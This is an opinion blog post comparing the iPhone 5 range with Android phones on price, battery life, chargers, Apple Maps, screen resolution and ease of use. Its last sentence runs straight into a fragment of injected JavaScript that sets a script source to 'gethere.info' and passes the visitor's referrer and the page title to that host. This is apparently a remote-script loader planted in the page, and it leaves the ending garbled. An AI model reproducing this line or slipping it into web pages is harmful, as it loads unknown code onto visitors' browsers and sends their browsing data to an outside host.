By Sophie Mead

Today a mobile phone is much more than just a device for communication with your immediate friends. With hand-held satellite technology bringing the blurred edges of the map into focus and Facebook filling in the communication gaps between cultures, a Smartphone allows you to chat online to your friend in India followed by a face to face Skype session with family in Australia whilst also completing your shopping; paying electronically and organising the pick-up time to correspond exactly with the time you’re home. But why are Apple and its iPhone the kings of the castle? As someone who has recently made the move from a prehistoric device resembling an ironing board to a sleek and shiny iPhone 5, I’m still deciding. I’m going to throw in the old ‘can’t believe I lived without it’ but that’s not difficult when I’ve upgraded from something the size and shape of a TV remote.

People around the world are using Smartphones to organise every aspect of their lives and many of their basic functions enhance our daily routine immensely: such as having a torch application at your fingertips or instant video snapchatting amongst friends. But rewind back twelve years to a very exciting time when every evening at 6pm it was my turn for a shift playing snake on my dad’s Nokia 5110. It had a two-tone green-purple cover which actually blows the iPhone’s dull white out of the water. Our generation is experiencing the complete evolution of the mobile phone from a basic device to a portable ‘everything’. Our children won’t have the nostalgic affinity for the classic ‘snake’ as we do as they’ll be lost in a maze of mobile entertainment designed especially for their futuristic devices.

I was taking a video recently when a friend ran up, panting, “is that an ‘SC’” just because I have a yellow cover. His excitement was unnerving.

The Apple brand is becoming a fashion statement; much like having a beard or Doc Martens, people are competing to be the first to own each new model because if it’s not the newest, well then they can kiss goodbye to all fashion credibility. Apple fanatics camped for TWO WEEKS in New York to get the iPhone 5c or S – risking their jobs and health. First world problems, eh?

One thing is clear: the iPhone is outrageously over-priced. There are androids on the market with better processing power such as the galaxy s4 which will set you back around £400; compared to the iphone5c – £100 more expensive.

But the iPhone’s biggest downfall is its battery life which drains quicker than pints on Paddy’s Day leading me nicely to the inconvenience of a handset-specific charger. Apple actively refused to cooperate with all the other phone companies who proposed to agree on one universal charger (mini USB), leaving people phone-less when their specific Apple charger isn’t available. Meanwhile Apple continues to harvest its millions as people buy replacement chargers left right and centre.

Another big flaw is the whole Apple map system which recently lead two Alaskan taxi drivers onto an airport runway. Despite passing numerous signs, the drivers still ended up getting fast and furious with some Boeing 747s. The iPhone lacks NFC (Near Field Communication) which the Galaxy Note3, HTC One and LGG2 have and also lacks the HD screen of its competitors. The One, Galaxy2 and 4 all boast 1920×1080 pixels, equal to a television; whereas iPhones have 1136 x 640 which struggles with even 720p HD content.

That’s the slating, now why do we all have one? What’s striking about the i Phone is its “intuitive and clean” GUI (Graphical User Interface) which allows smooth and simple navigation for people of all ages and sufficient memory so that it always runs flawlessly.  Its simplicity is addictive, genius and a massive selling point

The iPhone boasts the slick safari browser and the mobile applications available via this browser are designed specifically for the iPhone. Windows mobile may have more applications; but they don’t compare to the design and execution of the IPhone’s.

What’s more, the sound and recoding quality are razor sharp and a great new feature is slow-motion video on the iPhone5s however the finger scanner seems unnecessary. We are not in star trek.

Furthermore, Apple is second to none when it comes to customer service.

Whether or not taking a bite from the poison marketing Apple was a good idea, that’s me trapped on a contract for the next two years, by which time we’ll all gave Google eye lenses anyway.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;